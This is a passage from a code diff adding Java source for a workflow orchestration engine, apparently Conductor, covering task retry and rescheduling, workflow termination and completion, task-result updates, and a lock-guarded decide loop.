joinOnFailedPermissive = isJoinOnFailedPermissive(joinOn, workflow); + if (joinOnFailedPermissive) { + task.setStatus(IN_PROGRESS); + addTaskToQueue(task); + break; + } + } + case FAILED_WITH_TERMINAL_ERROR: + case TIMED_OUT: + retriableMap.put(task.getReferenceTaskName(), task); + break; + case CANCELED: + if (task.getTaskType().equalsIgnoreCase(TaskType.JOIN.toString()) + || task.getTaskType().equalsIgnoreCase(TaskType.DO_WHILE.toString())) { + task.setStatus(IN_PROGRESS); + addTaskToQueue(task); + // Task doesn't have to be updated yet. Will be updated along with other + // Workflow tasks downstream. + } else { + retriableMap.put(task.getReferenceTaskName(), task); + } + break; + default: + retriableMap.remove(task.getReferenceTaskName()); + break; + } + } + + // if workflow TIMED_OUT due to timeoutSeconds configured in the workflow + // definition, + // it may not have any unsuccessful tasks that can be retried + if (retriableMap.values().size() == 0 + && workflow.getStatus() != WorkflowModel.Status.TIMED_OUT) { + throw new ConflictException( + "There are no retryable tasks! Use restart if you want to attempt entire workflow execution again."); + } + + // Update Workflow with new status. + // This should load Workflow from archive, if archived. + workflow.setStatus(WorkflowModel.Status.RUNNING); + workflow.setLastRetriedTime(System.currentTimeMillis()); + String lastReasonForIncompletion = workflow.getReasonForIncompletion(); + workflow.setReasonForIncompletion(null); + executionDAOFacade.updateWorkflow(workflow); + notifyWorkflowStatusListener(workflow, WorkflowEventType.RETRIED); + LOGGER.info( + "Workflow {} that failed due to '{}' was retried", + workflow.toShortString(), + lastReasonForIncompletion); + + // taskToBeRescheduled would set task `retried` to true, and hence it's + // important to + // updateTasks after obtaining task copy from taskToBeRescheduled. + final WorkflowModel finalWorkflow = workflow; + List retriableTasks = + retriableMap.values().stream() + .sorted(Comparator.comparingInt(TaskModel::getSeq)) + .map(task -> taskToBeRescheduled(finalWorkflow, task)) + .collect(Collectors.toList()); + + dedupAndAddTasks(workflow, retriableTasks); + // Note: updateTasks before updateWorkflow might fail when Workflow is archived + // and doesn't + // exist in primary store. + executionDAOFacade.updateTasks(workflow.getTasks()); + scheduleTask(workflow, retriableTasks); + // Push AFTER tasks are reset so async decider sees SCHEDULED/IN_PROGRESS, not stale state + queueDAO.push( + DECIDER_QUEUE, + workflow.getWorkflowId(), + workflow.getPriority(), + properties.getWorkflowOffsetTimeout().getSeconds()); + } + + private WorkflowModel findLastFailedSubWorkflowIfAny( + TaskModel task, WorkflowModel parentWorkflow) { + if (!UNSUCCESSFUL_TERMINAL_TASK.test(task)) return parentWorkflow; + + if (TaskType.TASK_TYPE_SUB_WORKFLOW.equals(task.getTaskType())) { + WorkflowModel subWorkflow = + executionDAOFacade.getWorkflowModel(task.getSubWorkflowId(), true); + return subWorkflow.getTasks().stream() + .filter(UNSUCCESSFUL_TERMINAL_TASK) + .findFirst() + .map(t -> findLastFailedSubWorkflowIfAny(t, subWorkflow)) + .orElse(parentWorkflow); + } + + if (TaskType.TASK_TYPE_DO_WHILE.equals(task.getTaskType())) { + return parentWorkflow.getTasks().stream() + .filter(t -> TaskType.TASK_TYPE_SUB_WORKFLOW.equals(t.getTaskType())) + .filter(UNSUCCESSFUL_TERMINAL_TASK) + .findFirst() + .map(t -> findLastFailedSubWorkflowIfAny(t, parentWorkflow)) + .orElse(parentWorkflow); + } + + return parentWorkflow; + } + + /** + * Reschedule a task + * + * @param task failed or cancelled task + * @return new instance of a task with "SCHEDULED" status + */ + private TaskModel taskToBeRescheduled(WorkflowModel workflow, TaskModel task) { + TaskModel taskToBeRetried = task.copy(); + taskToBeRetried.setTaskId(idGenerator.generate()); + taskToBeRetried.setRetriedTaskId(task.getTaskId()); + taskToBeRetried.setStatus(SCHEDULED); + taskToBeRetried.setRetryCount(task.getRetryCount() + 1); + taskToBeRetried.setRetried(false); + taskToBeRetried.setPollCount(0); + taskToBeRetried.setCallbackAfterSeconds(0); + taskToBeRetried.setSubWorkflowId(null); + taskToBeRetried.setScheduledTime(0); + taskToBeRetried.setStartTime(0); + taskToBeRetried.setEndTime(0); + taskToBeRetried.setWorkerId(null); + taskToBeRetried.setReasonForIncompletion(null); + taskToBeRetried.setSeq(0); + clearRetriedTaskRuntimeState(taskToBeRetried); + + // perform parameter replacement for retried task + if (taskToBeRetried.getWorkflowTask() != null) { + Map taskInput = + parametersUtils.getTaskInput( + taskToBeRetried.getWorkflowTask().getInputParameters(), + workflow, + taskToBeRetried.getWorkflowTask().getTaskDefinition(), + taskToBeRetried.getTaskId()); + taskToBeRetried.getInputData().putAll(taskInput); + } + clearLegacySubWorkflowId(taskToBeRetried); + + task.setRetried(true); + // since this task is being retried and a retry has been computed, task + // lifecycle is + // complete + task.setExecuted(true); + return taskToBeRetried; + } + + private void clearRetriedTaskRuntimeState(TaskModel task) { + task.setUpdateTime(0); + task.setCallbackAfterMs(0); + task.setOutputData(new HashMap<>()); + task.setExternalOutputPayloadStoragePath(null); + task.setOutputMessage(null); + } + + private void clearLegacySubWorkflowId(TaskModel task) { + task.setSubWorkflowId(null); + task.getInputData().remove("subWorkflowId"); + task.getOutputData().remove("subWorkflowId"); + } + + private void endExecution(WorkflowModel workflow, TaskModel terminateTask) { + boolean raiseFinalizedNotification = false; + if (terminateTask != null) { + String terminationStatus = + (String) + terminateTask + .getInputData() + .get(Terminate.getTerminationStatusParameter()); + String reason = + (String) + terminateTask + .getInputData() + .get(Terminate.getTerminationReasonParameter()); + if (StringUtils.isBlank(reason)) { + reason = + String.format( + "Workflow is %s by TERMINATE task: %s", + terminationStatus, terminateTask.getTaskId()); + } + if (WorkflowModel.Status.FAILED.name().equals(terminationStatus)) { + workflow.setStatus(WorkflowModel.Status.FAILED); + workflow = + terminate( + workflow, + new TerminateWorkflowException( + reason, workflow.getStatus(), terminateTask)); + } else if (WorkflowModel.Status.TERMINATED.name().equals(terminationStatus)) { + workflow.setStatus(WorkflowModel.Status.TERMINATED); + workflow = + terminate( + workflow, + new TerminateWorkflowException( + reason, workflow.getStatus(), terminateTask)); + } else { + workflow.setReasonForIncompletion(reason); + workflow = completeWorkflow(workflow); + raiseFinalizedNotification = true; + } + } else { + workflow = completeWorkflow(workflow); + raiseFinalizedNotification = true; + } + cancelNonTerminalTasks(workflow, raiseFinalizedNotification); + } + + /** + * @param workflow the workflow to be completed + * @throws ConflictException if workflow is already in terminal state. + */ + @VisibleForTesting + WorkflowModel completeWorkflow(WorkflowModel workflow) { + LOGGER.debug("Completing workflow execution for {}", workflow.getWorkflowId()); + + if (workflow.getStatus().equals(WorkflowModel.Status.COMPLETED)) { + queueDAO.remove(DECIDER_QUEUE, workflow.getWorkflowId()); // remove from the sweep queue + executionDAOFacade.removeFromPendingWorkflow( + workflow.getWorkflowName(), workflow.getWorkflowId()); + LOGGER.debug("Workflow: {} has already been completed.", workflow.getWorkflowId()); + return workflow; + } + + if (workflow.getStatus().isTerminal()) { + String msg = + "Workflow is already in terminal state. Current status: " + + workflow.getStatus(); + throw new ConflictException(msg); + } + + deciderService.updateWorkflowOutput(workflow, null); + + workflow.setStatus(WorkflowModel.Status.COMPLETED); + + // update the failed reference task names + List failedTasks = + workflow.getTasks().stream() + .filter( + t -> + FAILED.equals(t.getStatus()) + || FAILED_WITH_TERMINAL_ERROR.equals(t.getStatus())) + .collect(Collectors.toList()); + + workflow.getFailedReferenceTaskNames() + .addAll( + failedTasks.stream() + .map(TaskModel::getReferenceTaskName) + .collect(Collectors.toSet())); + + workflow.getFailedTaskNames() + .addAll( + failedTasks.stream() + .map(TaskModel::getTaskDefName) + .collect(Collectors.toSet())); + + executionDAOFacade.updateWorkflow(workflow); + LOGGER.debug("Completed workflow execution for {}", workflow.getWorkflowId()); + notifyWorkflowStatusListener(workflow, WorkflowEventType.COMPLETED); + Monitors.recordWorkflowCompletion( + workflow.getWorkflowName(), + workflow.getEndTime() - workflow.getCreateTime(), + workflow.getOwnerApp()); + + if (workflow.hasParent()) { + updateParentWorkflowTask(workflow); + LOGGER.info( + "{} updated parent {} task {}", + workflow.toShortString(), + workflow.getParentWorkflowId(), + workflow.getParentWorkflowTaskId()); + expediteLazyWorkflowEvaluation(workflow.getParentWorkflowId()); + } + + workflowMessageQueueDAO.ifPresent(dao -> dao.delete(workflow.getWorkflowId())); + executionLockService.releaseLock(workflow.getWorkflowId()); + executionLockService.deleteLock(workflow.getWorkflowId()); + return workflow; + } + + @Override + public void terminateWorkflow(String workflowId, String reason) { + WorkflowModel workflow = executionDAOFacade.getWorkflowModel(workflowId, true); + if (WorkflowModel.Status.COMPLETED.equals(workflow.getStatus())) { + throw new ConflictException("Cannot terminate a COMPLETED workflow."); + } + if (WorkflowModel.Status.TERMINATED.equals(workflow.getStatus())) { + // Workflow is already in TERMINATED state; no additional termination action is + // required. + return; + } + workflow.setStatus(WorkflowModel.Status.TERMINATED); + terminateWorkflow(workflow, reason, null); + } + + /** + * @param workflow Workflow to be terminated + * @param reason Reason for termination + * @param failureWorkflow Failure workflow (if any), to be triggered as a result of this + * termination + * @param failureWorkflowVersion Failure workflow version (if any) + */ + @Override + public WorkflowModel terminateWorkflow( + WorkflowModel workflow, + String reason, + String failureWorkflow, + Integer failureWorkflowVersion) { + try { + executionLockService.acquireLock(workflow.getWorkflowId(), 60000); + + if (!workflow.getStatus().isTerminal()) { + workflow.setStatus(WorkflowModel.Status.TERMINATED); + } + + try { + deciderService.updateWorkflowOutput(workflow, null); + } catch (Exception e) { + // catch any failure in this step and continue the execution of terminating + // workflow + LOGGER.error( + "Failed to update output data for workflow: {}", + workflow.getWorkflowId(), + e); + Monitors.error(CLASS_NAME, "terminateWorkflow"); + } + + // update the failed reference task names + List failedTasks = + workflow.getTasks().stream() + .filter( + t -> + FAILED.equals(t.getStatus()) + || FAILED_WITH_TERMINAL_ERROR.equals( + t.getStatus())) + .collect(Collectors.toList()); + + workflow.getFailedReferenceTaskNames() + .addAll( + failedTasks.stream() + .map(TaskModel::getReferenceTaskName) + .collect(Collectors.toSet())); + + workflow.getFailedTaskNames() + .addAll( + failedTasks.stream() + .map(TaskModel::getTaskDefName) + .collect(Collectors.toSet())); + + String workflowId = workflow.getWorkflowId(); + workflow.setReasonForIncompletion(reason); + // Cancel non-terminal tasks before updating workflow state and notifying the status + // listener. The TERMINATED notification may trigger an archiving listener (e.g. + // ArchivingWorkflowStatusListener) that immediately removes the workflow from the + // primary data store. Archival requires tasks to be in a terminal state, so we must + // cancel SCHEDULED/IN_PROGRESS tasks first. + List cancelErrors = cancelNonTerminalTasks(workflow); + if (!cancelErrors.isEmpty()) { + throw new NonTransientException( + String.format( + "Error canceling system tasks: %s", + String.join(",", cancelErrors))); + } + executionDAOFacade.updateWorkflow(workflow); + notifyWorkflowStatusListener(workflow, WorkflowEventType.TERMINATED); + Monitors.recordWorkflowTermination( + workflow.getWorkflowName(), workflow.getStatus(), workflow.getOwnerApp()); + LOGGER.info("Workflow {} is terminated because of {}", workflowId, reason); + List tasks = workflow.getTasks(); + try { + // Remove from the task queue if they were there + tasks.forEach( + task -> queueDAO.remove(QueueUtils.getQueueName(task), task.getTaskId())); + } catch (Exception e) { + LOGGER.warn( + "Error removing task(s) from queue during workflow termination : {}", + workflowId, + e); + } + + if (workflow.hasParent()) { + updateParentWorkflowTask(workflow); + LOGGER.info( + "{} updated parent {} task {}", + workflow.toShortString(), + workflow.getParentWorkflowId(), + workflow.getParentWorkflowTaskId()); + expediteLazyWorkflowEvaluation(workflow.getParentWorkflowId()); + } + + if (!StringUtils.isBlank(failureWorkflow)) { + Map input = new HashMap<>(workflow.getInput()); + input.put("workflowId", workflowId); + input.put("reason", reason); + input.put("failureStatus", workflow.getStatus().toString()); + if (workflow.getFailedTaskId() != null) { + input.put("failureTaskId", workflow.getFailedTaskId()); + } + input.put("failedWorkflow", workflow); + + try { + String failureWFId = idGenerator.generate(); + StartWorkflowInput startWorkflowInput = new StartWorkflowInput(); + startWorkflowInput.setName(failureWorkflow); + startWorkflowInput.setVersion(failureWorkflowVersion); + startWorkflowInput.setWorkflowInput(input); + startWorkflowInput.setCorrelationId(workflow.getCorrelationId()); + startWorkflowInput.setTaskToDomain(workflow.getTaskToDomain()); + startWorkflowInput.setWorkflowId(failureWFId); + startWorkflowInput.setTriggeringWorkflowId(workflowId); + + startWorkflow(startWorkflowInput); + + workflow.addOutput("conductor.failure_workflow", failureWFId); + } catch (Exception e) { + LOGGER.error("Failed to start error workflow", e); + workflow.getOutput() + .put( + "conductor.failure_workflow", + "Error workflow " + + failureWorkflow + + " failed to start. reason: " + + e.getMessage()); + Monitors.recordWorkflowStartError( + failureWorkflow, WorkflowContext.get().getClientApp()); + } + executionDAOFacade.updateWorkflow(workflow); + } + executionDAOFacade.removeFromPendingWorkflow( + workflow.getWorkflowName(), workflow.getWorkflowId()); + + workflowMessageQueueDAO.ifPresent(dao -> dao.delete(workflow.getWorkflowId())); + return workflow; + } finally { + executionLockService.releaseLock(workflow.getWorkflowId()); + executionLockService.deleteLock(workflow.getWorkflowId()); + } + } + + /** + * @param taskResult the task result to be updated. + * @throws IllegalArgumentException if the {@link TaskResult} is null. @Returns Updated task + * @throws NotFoundException if the Task is not found. + */ + @Override + public TaskModel updateTask(TaskResult taskResult) { + if (taskResult == null) { + throw new IllegalArgumentException("Task object is null"); + } else if (taskResult.isExtendLease()) { + extendLease(taskResult); + return null; + } + + String workflowId = taskResult.getWorkflowInstanceId(); + WorkflowModel workflowInstance = executionDAOFacade.getWorkflowModel(workflowId, false); + + TaskModel task = + Optional.ofNullable(executionDAOFacade.getTaskModel(taskResult.getTaskId())) + .orElseThrow( + () -> + new NotFoundException( + "No such task found by id: %s", + taskResult.getTaskId())); + + LOGGER.debug("Task: {} belonging to Workflow {} being updated", task, workflowInstance); + + String taskQueueName = QueueUtils.getQueueName(task); + + if (task.getStatus().isTerminal()) { + // Task was already updated.... + queueDAO.remove(taskQueueName, taskResult.getTaskId()); + LOGGER.info( + "Task: {} has already finished execution with status: {} within workflow: {}. Removed task from queue: {}", + task.getTaskId(), + task.getStatus(), + task.getWorkflowInstanceId(), + taskQueueName); + Monitors.recordUpdateConflict( + task.getTaskType(), workflowInstance.getWorkflowName(), task.getStatus()); + return task; + } + + if (workflowInstance.getStatus().isTerminal()) { + // Workflow is in terminal state + queueDAO.remove(taskQueueName, taskResult.getTaskId()); + LOGGER.info( + "Workflow: {} has already finished execution. Task update for: {} ignored and removed from Queue: {}.", + workflowInstance, + taskResult.getTaskId(), + taskQueueName); + Monitors.recordUpdateConflict( + task.getTaskType(), + workflowInstance.getWorkflowName(), + workflowInstance.getStatus()); + return task; + } + + // for system tasks, setting to SCHEDULED would mean restarting the task which + // is + // undesirable + // for worker tasks, set status to SCHEDULED and push to the queue + if (!systemTaskRegistry.isSystemTask(task.getTaskType()) + && taskResult.getStatus() == TaskResult.Status.IN_PROGRESS) { + task.setStatus(SCHEDULED); + } else { + task.setStatus(TaskModel.Status.valueOf(taskResult.getStatus().name())); + } + task.setOutputMessage(taskResult.getOutputMessage()); + task.setReasonForIncompletion(taskResult.getReasonForIncompletion()); + task.setWorkerId(taskResult.getWorkerId()); + task.setCallbackAfterSeconds(taskResult.getCallbackAfterSeconds()); + task.setOutputData(taskResult.getOutputData()); + task.setSubWorkflowId(taskResult.getSubWorkflowId()); + + if (StringUtils.isNotBlank(taskResult.getExternalOutputPayloadStoragePath())) { + task.setExternalOutputPayloadStoragePath( + taskResult.getExternalOutputPayloadStoragePath()); + } + + if (task.getStatus().isTerminal()) { + task.setEndTime(System.currentTimeMillis()); + } + + // Update message in Task queue based on Task status + switch (task.getStatus()) { + case COMPLETED: + case CANCELED: + case FAILED: + case FAILED_WITH_TERMINAL_ERROR: + case TIMED_OUT: + try { + queueDAO.remove(taskQueueName, taskResult.getTaskId()); + LOGGER.debug( + "Task: {} removed from taskQueue: {} since the task status is {}", + task, + taskQueueName, + task.getStatus().name()); + } catch (Exception e) { + // Ignore exceptions on queue remove as it wouldn't impact task and workflow + // execution, and will be cleaned up eventually + String errorMsg = + String.format( + "Error removing the message in queue for task: %s for workflow: %s", + task.getTaskId(), workflowId); + LOGGER.warn(errorMsg, e); + Monitors.recordTaskQueueOpError( + task.getTaskType(), workflowInstance.getWorkflowName()); + } + break; + case IN_PROGRESS: + case SCHEDULED: + try { + long callBack = taskResult.getCallbackAfterSeconds(); + queueDAO.postpone( + taskQueueName, task.getTaskId(), task.getWorkflowPriority(), callBack); + LOGGER.debug( + "Task: {} postponed in taskQueue: {} since the task status is {} with callbackAfterSeconds: {}", + task, + taskQueueName, + task.getStatus().name(), + callBack); + } catch (Exception e) { + // Throw exceptions on queue postpone, this would impact task execution + String errorMsg = + String.format( + "Error postponing the message in queue for task: %s for workflow: %s", + task.getTaskId(), workflowId); + LOGGER.error(errorMsg, e); + Monitors.recordTaskQueueOpError( + task.getTaskType(), workflowInstance.getWorkflowName()); + throw new TransientException(errorMsg, e); + } + break; + default: + break; + } + + // Throw a TransientException if below operations fail to avoid workflow + // inconsistencies. + try { + executionDAOFacade.updateTask(task); + } catch (Exception e) { + String errorMsg = + String.format( + "Error updating task: %s for workflow: %s", + task.getTaskId(), workflowId); + LOGGER.error(errorMsg, e); + Monitors.recordTaskUpdateError(task.getTaskType(), workflowInstance.getWorkflowName()); + throw new TransientException(errorMsg, e); + } + + try { + notifyTaskStatusListener(task); + } catch (Exception e) { + String errorMsg = + String.format( + "Error while notifying TaskStatusListener: %s for workflow: %s", + task.getTaskId(), workflowId); + LOGGER.error(errorMsg, e); + } + + List taskLogs = taskResult.getLogs(); + if (taskLogs != null) { + taskLogs.forEach(taskExecLog -> taskExecLog.setTaskId(task.getTaskId())); + executionDAOFacade.addTaskExecLog(taskLogs); + } + + if (task.getStatus().isTerminal()) { + long duration = getTaskDuration(0, task); + long lastDuration = task.getEndTime() - task.getStartTime(); + Monitors.recordTaskExecutionTime( + task.getTaskDefName(), duration, true, task.getStatus()); + Monitors.recordTaskExecutionTime( + task.getTaskDefName(), lastDuration, false, task.getStatus()); + } + + if (properties.isHumanTaskPreventsDeciderQueue() + && TaskType.TASK_TYPE_HUMAN.equals(task.getTaskType()) + && task.getStatus().isTerminal()) { + // The sweeper removes workflows blocked on a HUMAN task from the decider queue. + // Re-queue this workflow so it is evaluated immediately now that the HUMAN task has + // reached a terminal status. + queueDAO.push(DECIDER_QUEUE, workflowId, workflowInstance.getPriority(), 0); + LOGGER.debug( + "Waking up workflow {} because HUMAN task {} reached terminal status {}", + workflowId, + task.getTaskId(), + task.getStatus()); + } + + if (!isLazyEvaluateWorkflow(workflowInstance.getWorkflowDefinition(), task)) { + decide(workflowId); + } + return task; + } + + private void notifyTaskStatusListener(TaskModel task) { + switch (task.getStatus()) { + case COMPLETED: + taskStatusListener.onTaskCompletedIfEnabled(task); + break; + case CANCELED: + taskStatusListener.onTaskCanceledIfEnabled(task); + break; + case FAILED: + taskStatusListener.onTaskFailedIfEnabled(task); + break; + case FAILED_WITH_TERMINAL_ERROR: + taskStatusListener.onTaskFailedWithTerminalErrorIfEnabled(task); + break; + case TIMED_OUT: + taskStatusListener.onTaskTimedOutIfEnabled(task); + break; + case IN_PROGRESS: + taskStatusListener.onTaskInProgressIfEnabled(task); + break; + case SCHEDULED: + // no-op, already done in addTaskToQueue + default: + break; + } + } + + private void extendLease(TaskResult taskResult) { + TaskModel task = + Optional.ofNullable(executionDAOFacade.getTaskModel(taskResult.getTaskId())) + .orElseThrow( + () -> + new NotFoundException( + "No such task found by id: %s", + taskResult.getTaskId())); + + LOGGER.debug( + "Extend lease for Task: {} belonging to Workflow: {}", + task, + task.getWorkflowInstanceId()); + if (!task.getStatus().isTerminal()) { + try { + executionDAOFacade.extendLease(task); + } catch (Exception e) { + String errorMsg = + String.format( + "Error extend lease for Task: %s belonging to Workflow: %s", + task.getTaskId(), task.getWorkflowInstanceId()); + LOGGER.error(errorMsg, e); + Monitors.recordTaskExtendLeaseError(task.getTaskType(), task.getWorkflowType()); + throw new TransientException(errorMsg, e); + } + } + } + + /** + * Determines if a workflow can be lazily evaluated, if it meets any of these criteria + * + *

    + *
  • The task is NOT a loop task within DO_WHILE + *
  • The task is one of the intermediate tasks in a branch within a FORK_JOIN + *
  • The task is forked from a FORK_JOIN_DYNAMIC + *
+ * + * @param workflowDef The workflow definition of the workflow for which evaluation decision is + * to be made + * @param task The task which is attempting to trigger the evaluation + * @return true if workflow can be lazily evaluated, false otherwise + */ + @VisibleForTesting + boolean isLazyEvaluateWorkflow(WorkflowDef workflowDef, TaskModel task) { + if (task.isLoopOverTask()) { + return false; + } + + String taskRefName = task.getReferenceTaskName(); + List workflowTasks = workflowDef.collectTasks(); + + List forkTasks = + workflowTasks.stream() + .filter(t -> t.getType().equals(TaskType.FORK_JOIN.name())) + .collect(Collectors.toList()); + + List joinTasks = + workflowTasks.stream() + .filter(t -> t.getType().equals(TaskType.JOIN.name())) + .collect(Collectors.toList()); + + if (forkTasks.stream().anyMatch(fork -> fork.has(taskRefName))) { + return joinTasks.stream().anyMatch(join -> join.getJoinOn().contains(taskRefName)) + && task.getStatus().isSuccessful(); + } + + // Tasks not in the workflow definition are dynamically forked (FORK_JOIN_DYNAMIC). + // Always trigger decide for these tasks: they rely on the sweeper which has a + // 30+ second initial delay, causing workflows to stall if decide is skipped. + return false; + } + + @Override + public TaskModel getTask(String taskId) { + return Optional.ofNullable(executionDAOFacade.getTaskModel(taskId)) + .map( + task -> { + if (task.getWorkflowTask() != null) { + return metadataMapperService.populateTaskWithDefinition(task); + } + return task; + }) + .orElse(null); + } + + @Override + public List getRunningWorkflows(String workflowName, int version) { + return executionDAOFacade.getPendingWorkflowsByName(workflowName, version); + } + + @Override + public List getWorkflows(String name, Integer version, Long startTime, Long endTime) { + return executionDAOFacade.getWorkflowsByName(name, startTime, endTime).stream() + .filter(workflow -> workflow.getWorkflowVersion() == version) + .map(Workflow::getWorkflowId) + .collect(Collectors.toList()); + } + + @Override + public List getRunningWorkflowIds(String workflowName, int version) { + return executionDAOFacade.getRunningWorkflowIds(workflowName, version); + } + + /** Records a metric for the "decide" process. */ + @Override + public WorkflowModel decide(String workflowId) { + StopWatch watch = new StopWatch(); + watch.start(); + boolean lockAcquired = executionLockService.acquireLock(workflowId); + if (!lockAcquired) { + // Lock contention is transient (millisecond-scale). Re-queue the workflow for a prompt + // retry so that a missed decide — whether triggered by a completion event + // (updateTask / AsyncSystemTaskExecutor) or the sweeper — does not silently fall back + // to the workflow's decider-queue entry, which a polled task postpones out to + // responseTimeoutSeconds (the multi-minute pause). Backoff is lockTimeToTry-scale, not + // lockLeaseTime-scale (the latter is only appropriate for an orphaned lock). + long backoffMillis = Math.max(properties.getLockTimeToTry().toMillis() / 2, 100); + queueDAO.push(DECIDER_QUEUE, workflowId, 0, Duration.ofMillis(backoffMillis)); + return null; + } + try { + + WorkflowModel workflow = executionDAOFacade.getWorkflowModel(workflowId, true); + if (workflow == null) { + // This can happen if the workflowId is incorrect + return null; + } + return decide(workflow); + + } finally { + if (lockAcquired) { + executionLockService.releaseLock(workflowId); + } + watch.stop(); + Monitors.recordWorkflowDecisionTime(watch.getTime()); + } + } + + @Override + public WorkflowModel decideWithLock(WorkflowModel workflow) { + if (!executionLockService.acquireLock(workflow.getWorkflowId())) { + LOGGER.debug( + "decideWithLock couldn't acquire lock for workflow {}", + workflow.getWorkflowId()); + return null; + } + try { + return decide(workflow); + } finally { + executionLockService.releaseLock(workflow.getWorkflowId()); + } + } + + /** + * @param workflow the workflow to evaluate the state for + * @return true if the workflow has completed (success or failed), false otherwise. Note: This + * method does not acquire the lock on the workflow and should ony be called / overridden if + * No locking is required or lock is acquired externally + */ + private WorkflowModel decide(WorkflowModel workflow) { + if (workflow.getStatus().isTerminal()) { + if (!workflow.getStatus().isSuccessful()) { + cancelNonTerminalTasks(workflow); + } + return workflow; + } + + // we find any sub workflow tasks that have changed + // and change the workflow/task state accordingly + adjustStateIfSubWorkflowChanged(workflow); + + // Guard against holding the lock past its lease time. If synchronous system tasks + // (e.g. INLINE inside a DO_WHILE) keep changing state, we loop instead of recursing to + // avoid a StackOverflowError. When the lease is about to expire we break out, persist the + // current state, and re-queue the workflow so the sweeper picks it up cleanly. + final long maxRuntime = properties.getLockLeaseTime().toMillis() - 100; + StopWatch decideWatch = new StopWatch(); + decideWatch.start(); + + try { + boolean continueLoop = true; + while (continueLoop) { + continueLoop = false; + + DeciderService.DeciderOutcome outcome = deciderService.decide(workflow); + if (outcome.isComplete) { + endExecution(workflow, outcome.terminateTask); + return workflow; + } + + List tasksToBeScheduled = outcome.tasksToBeScheduled; + setTaskDomains(tasksToBeScheduled, workflow); + List tasksToBeUpdated = outcome.tasksToBeUpdated; + + tasksToBeScheduled = dedupAndAddTasks(workflow, tasksToBeScheduled); + + boolean stateChanged = scheduleTask(workflow, tasksToBeScheduled); + + for (TaskModel task : outcome.tasksToBeScheduled) { + executionDAOFacade.populateTaskData(task); + if (systemTaskRegistry.isSystemTask(task.getTaskType()) + && NON_TERMINAL_TASK.test(task)) { + WorkflowSystemTask workflowSystemTask = + systemTaskRegistry.get(task.getTaskType()); + if (!workflowSystemTask.isAsync() + && executeSyncSystemTaskWithSecrets( + workflowSystemTask, workflow, task)) { + tasksToBeUpdated.add(task); + stateChanged = true; + } + } + } + + if (!outcome.tasksToBeUpdated.isEmpty() || !tasksToBeScheduled.isEmpty()) { + executionDAOFacade.updateTasks(tasksToBeUpdated); + } + + if (stateChanged) { + if (decideWatch.getTime() < maxRuntime) { + continueLoop = true; + continue; + } + // Lock lease is about to expire. Persist current state and re-queue so + // the next decide() cycle continues without holding a stale lock. + LOGGER.info( + "Workflow {} decide loop approaching lock lease time after {} ms, " + + "re-queuing for continued processing", + workflow.getWorkflowId(), + decideWatch.getTime()); + executionDAOFacade.updateWorkflow(workflow); + queueDAO.push(DECIDER_QUEUE, workflow.getWorkflowId(), 0); + return workflow; + } + + if (!outcome.tasksToBeUpdated.isEmpty() || !tasksToBeScheduled.isEmpty()) { + executionDAOFacade.updateWorkflow(workflow); + } + + Duration timeout = properties.getWorkflowOffsetTimeout(); + if (!workflow.getStatus().isTerminal()) { + if (properties.isHumanTaskPreventsDeciderQueue() + && hasInProgressHumanTask(workflow)) { + // A workflow blocked on a HUMAN task can wait indefinitely for external + // input. Keeping it in the decider queue only churns the sweeper, so + // remove it; updateTask() re-queues the workflow when the HUMAN task + // reaches a terminal status. + LOGGER.debug( + "Removing workflow {} from decider queue; blocked on HUMAN task", + workflow.getWorkflowId()); + queueDAO.remove(DECIDER_QUEUE, workflow.getWorkflowId()); + } else { + Duration updatedOffset = + computePostpone( + workflow, + timeout, + properties.getMaxPostponeDurationSeconds()); + if (updatedOffset.getSeconds() != timeout.getSeconds()) { + // we have a new value, setUnack uses time in millis + LOGGER.debug( + "Pushing the workflow {} into decider queue by {} millis", + workflow.getWorkflowId(), + updatedOffset.getSeconds() * 1000); + queueDAO.setUnackTimeout( + DECIDER_QUEUE, + workflow.getWorkflowId(), + updatedOffset.getSeconds() * 1000); + } + } + } + } + + return workflow; + + } catch (TerminateWorkflowException twe) { + LOGGER.info("Execution terminated of workflow: {}", workflow, twe); + terminate(workflow, twe); + return workflow; + } catch (RuntimeException e) { + LOGGER.error("Error deciding workflow: {}", workflow.getWorkflowId(), e); + throw e; + } + } + + private void adjustStateIfSubWorkflowChanged(WorkflowModel workflow) { + Optional changedSubWorkflowTask = findChangedSubWorkflowTask(workflow); + if (changedSubWorkflowTask.isPresent()) { + // reset the flag + TaskModel subWorkflowTask = changedSubWorkflowTask.get(); + subWorkflowTask.setSubworkflowChanged(false); + executionDAOFacade.updateTask(subWorkflowTask); + + LOGGER.info( + "{} reset subworkflowChanged flag for {}", + workflow.toShortString(), + subWorkflowTask.getTaskId()); + + // find all terminal and unsuccessful JOIN tasks and set them to IN_PROGRESS + // if we are here, then the SUB_WORKFLOW task could be part of a FORK_JOIN or + // FORK_JOIN_DYNAMIC and the JOIN task(s) needs to be evaluated again, set them to + // IN_PROGRESS + resetUnsuccessfulJoinTasks(workflow); + } + } + + /** + * Re-queue every IN_PROGRESS JOIN in {@code parentWorkflowId} for immediate re-evaluation. + * Called when a fork branch's sub-workflow reaches a terminal state: the sibling JOIN may now + * be satisfiable, but as an async task it only re-polls on exponential backoff (capped at + * workflowOffsetTimeout, default 30s). Without this nudge the parent can hang for up to that + * cap after the last branch finishes before the JOIN notices. Mirrors {@link + * #expediteLazyWorkflowEvaluation}: postpone the existing queue message to 0 if present, else + * push a fresh one — idempotent by task id, so no duplicate queue entries. + */ + private void expediteInProgressJoinTasks(String parentWorkflowId) { + WorkflowModel parentWorkflow = executionDAOFacade.getWorkflowModel(parentWorkflowId, true); + if (parentWorkflow == null) { + return; + } + for (TaskModel joinTask : parentWorkflow.getTasks()) { + if (!TaskType.TASK_TYPE_JOIN.equals(joinTask.getTaskType()) + || joinTask.getStatus() != TaskModel.Status.IN_PROGRESS) { + continue; + } + String queueName = QueueUtils.getQueueName(joinTask); + if (queueDAO.containsMessage(queueName, joinTask.getTaskId())) { + queueDAO.postpone( + queueName, joinTask.getTaskId(), joinTask.getWorkflowPriority(), 0); + } else { + queueDAO.push(queueName, joinTask.getTaskId(), joinTask.getWorkflowPriority(), 0); + } + } + } + + private Optional findChangedSubWorkflowTask(WorkflowModel workflow) { + WorkflowDef workflowDef = + Optional.ofNullable(workflow.getWorkflowDefinition()) + .orElseGet( + () -> + metadataDAO + .getWorkflowDef( + workflow.getWorkflowName(), + workflow.getWorkflowVersion()) + .orElseThrow( + () -> + new TransientException( + "Workflow Definition is not found"))); + if (workflowDef.containsType(TaskType.TASK_TYPE_SUB_WORKFLOW) + || workflow.getWorkflowDefinition() + .containsType(TaskType.TASK_TYPE_FORK_JOIN_DYNAMIC)) { + return workflow.getTasks().stream() 